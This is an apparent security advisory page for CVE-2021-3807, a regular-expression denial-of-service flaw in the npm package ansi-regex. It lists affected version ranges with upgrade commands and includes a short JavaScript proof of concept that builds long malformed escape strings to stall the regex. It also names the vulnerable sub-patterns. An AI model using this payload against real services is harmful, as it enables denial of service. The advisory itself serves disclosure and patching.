HighGHSA-93q8-gq69-wqmwCVE-2021-3807

Inefficient Regular Expression Complexity in chalk/ansi-regex

Published 20 Sept 2021 · Updated 10 Sept 2026

Affected packages

ansi-regexnpm

Affected: >=6.0.0 <6.0.1
Fixed in: 6.0.1

Update to the fixed version for your release line, for example:npm install ansi-regex@6.0.1

ansi-regexnpm

Affected: >=5.0.0 <5.0.1
Fixed in: 5.0.1

Update to the fixed version for your release line, for example:npm install ansi-regex@5.0.1

ansi-regexnpm

Affected: >=4.0.0 <4.1.1
Fixed in: 4.1.1

Update to the fixed version for your release line, for example:npm install ansi-regex@4.1.1

ansi-regexnpm

Affected: >=3.0.0 <3.0.1
Fixed in: 3.0.1

Update to the fixed version for your release line, for example:npm install ansi-regex@3.0.1

Details

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.

Proof of Concept

import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*

Is GHSA-93q8-gq69-wqmw in any of your client repos?

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References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.